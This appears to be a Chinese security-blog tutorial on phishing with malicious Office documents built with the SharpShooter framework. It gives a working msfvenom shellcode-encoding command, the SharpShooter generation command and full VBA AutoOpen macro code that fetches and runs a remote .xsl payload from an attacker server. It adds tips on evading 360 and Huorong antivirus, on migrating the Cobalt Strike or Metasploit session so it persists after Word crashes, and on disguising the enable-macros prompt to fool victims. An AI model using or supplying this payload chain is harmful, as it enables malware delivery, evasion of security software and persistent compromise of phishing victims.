打点越来越难了,社工钓鱼会是最常见的攻击手段,0day会是最有效的攻击手段,物理渗透会是危害最大的攻击手段。
在钓鱼攻击中木马的形式主要如下:
Office
DLL劫持
假冒加固工具
木马捆绑
通常办公软件Office具有最大的安装量,将文档插入邮件中已经是惯用的工作方式。但是Office常见的攻击方法:
0day
已知CVE漏洞
DDEAUTO
注入执行命令
宏
第一种方法直接跳过,已知的CVE漏洞特征太明显,免杀成本和技术含量太大了。DDEAUTO和注入执行命令直接被杀软限制的很死。最后只能靠宏了,虽然默认情况下,Office已经禁用所有宏,但仍会在打开Word文档的时候发出通知。
通过收集宏免杀的常用的方法和测试,发现加载远程 .xsl
文件可以绕过国内常用的杀软360全家桶和火绒成功上线。
通过收集和测试一些开源的宏免杀的项目,发现了一个很好的项目,国外一个安全团队写的钓鱼框架。其中一个工具就是可以生成一个VBA宏文件,这个宏文件会用XMLDOM去加载远程的 .xsl
文件。
具体原理和利用分析见文章:
Macros and More with SharpShooter v2.0
更多的框架利用可以看项目介绍:
项目地址:https://github.com/mdsecactivebreach/SharpShooter
首先我们可以用 CobaltStrike
或者 Metasploit
生成二进制格式的shellcode,即后缀为 bin
的文件。
然后利用 msfvenom
对 payload.bin
,因为 SharpShooter
要求shellcode中不能含有空字节。
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'
如下命令生成 .xsl
文件和 macro
文件:
SharpShooter.py --stageless --dotnetver 2--payload macro --output foo --rawscfile shellcode-encoded.bin --com xslremote --awlurl http://192.168.0.104:80/foo.xsl
简单介绍一下上面的几个参数:
--dotnetver:为目标的.net版本,可选2或者4
--awlurl:为xsl存放地址
生成的 foo.macro
内容很简单,代码如下:
SubAuto_Open()
Set XML = CreateObject("Microsoft.XMLDOM")
XML.async= False
Set xsl = XML
xsl.Load"http://192.168.0.104:80/foo.xsl"
XML.transformNode xsl
EndSub
创建一个对象加载远程的xsl文件。如果需要使函数 Auto_Open()
加到 AutoOpen()
方法里,这样就可以在打开word文档时就能运行宏,具体代码如下:
SubAutoOpen()
Auto_Open
EndSub
SubAuto_Open()
Set XML = CreateObject("Microsoft.XMLDOM")
XML.async= False
Set xsl = XML
xsl.Load"http://192.168.0.104:80/foo.xsl"
XML.transformNode xsl
EndSub
foo.xsl
文件为 SharpShooter
处理后的shellcode。
我们可以把 foo.xsl
传到自己的vps或者公共下载网站,然后修改vba代码中的地址即可。再讲vba代码加到word或excel文档中即可。
office宏加载远程的 .xsl
文件有个缺点就是,点击启用宏后word进程会崩掉,如word进程被结束了,Cobalt Strike或者Metasploit会掉线。所以我们要做的是,在目标上线的时候就自动迁移到其他进程上。
处理方法:
Cobalt Strike:通过插件实现上线后自动迁移进程,Beacon Handler Suite
Metasploit: 在设置监听的时候可以设置: setautorunscript migrate-N explorer.exe或setautorunscript-f
这样可以实现在word进程被关闭后,得到一个新的会话,即持久的控制目标。
为了更好去引导目标启用宏可以如下处理:
第一步:进入开发工具,选择插入控件---其他控件---Microsoft RDP Client Control*
第二步:设置控件属性内的Sever为localhost StartConnection为1,即点开自启动
第三步:插入vba代码
设置完成后,启用宏的提示就变成了 部分活动内容已被禁用,启用内容。
这样就更好的去引导目标启用宏了。
站在巨人的肩膀上
以上的思路和方法是最近一个星期在 github
、 twitter
和国内外的安全网站论坛上收集和测试得到的结果。然后自己做的一个总结,有兴趣的师傅可以自己研究 SharpShooter
这个项目,并关注我们的微信公众号,后续我们会继续分享一些思路和方法。
https://www.secquan.org/Discuss/1070836
https://www.mdsec.co.uk/2019/02/macros-and-more-with-sharpshooter-v2-0/
https://github.com/mdsecactivebreach/SharpShooter